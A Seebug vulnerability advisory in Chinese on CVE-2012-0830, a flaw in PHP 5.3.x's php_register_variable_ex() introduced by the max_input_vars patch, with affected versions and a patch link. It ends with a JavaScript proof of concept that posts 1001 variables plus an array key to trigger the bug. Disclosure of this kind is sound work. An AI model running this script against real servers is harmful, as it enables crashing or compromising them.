PHP "php_register_variable_ex()"函数任意代码执行漏洞(CVE-2012-0830)

2012-02-03T00:00:00
ID SSV:30071
Type seebug
Reporter Root
Modified 2012-02-03T00:00:00

Description

CVE-2012-0830

Php是一款流行的编程语言

PHP在12月为哈希碰撞拒绝服务(CVE-2011-4885)(http://sebug.net/vuldb/ssvid-30001)提供的补丁引出了另一个严重的安全漏洞。

防止哈希碰撞的补丁在php.ini中引入了新的配置属性: max_input_vars

此配置元素限制用于请求中使用的变量数量(如http://request.com/foo.php?a=1&b=2&c=3),默认设置为1000。

漏洞修补在php_variables.c代码中的php_register_variable_ex函数中作了更改,不过当变量数超过max_input_vars,而变量又是数组变量时(if (*p == ‘['))可触发此漏洞。漏洞可导致任意代码执行。 0 PHP PHP 5.3.9 PHP PHP 5.3.8 PHP PHP 5.3.7 PHP PHP 5.3.6 PHP PHP 5.3.5 厂商解决方案

用户可参考如下供应商提供的安全补丁修复此漏洞: http://svn.php.net/viewvc/php/php-src/trunk/main/php_variables.c?view=markup&pathrev=323007

                                        
                                            
                                                // Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

// Generate 1000 normal keys and one array
function createEvilObj () {
    var evil_obj = {};
    for (var i = 0; i < 1001; i++) {
        evil_obj[i] = 1;
    }
    evil_obj['kill[]'] = 'kill';
    return evil_obj;
}

// Serialize Javascript object into POST data
function serializeObj (obj) {
    var str = [];
    for(var p in obj) {
        str.push(p + "=" + obj[p]);
    }
    return str.join("&");
}

// Run attack
function attackSite () {
    var bad = serializeObj(createEvilObj());
    var xhr = new XMLHttpRequest();
    xhr.open("POST", location.href, true);
    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xhr.setRequestHeader('Content-Length', bad.length);
    xhr.send(bad);
}

attackSite();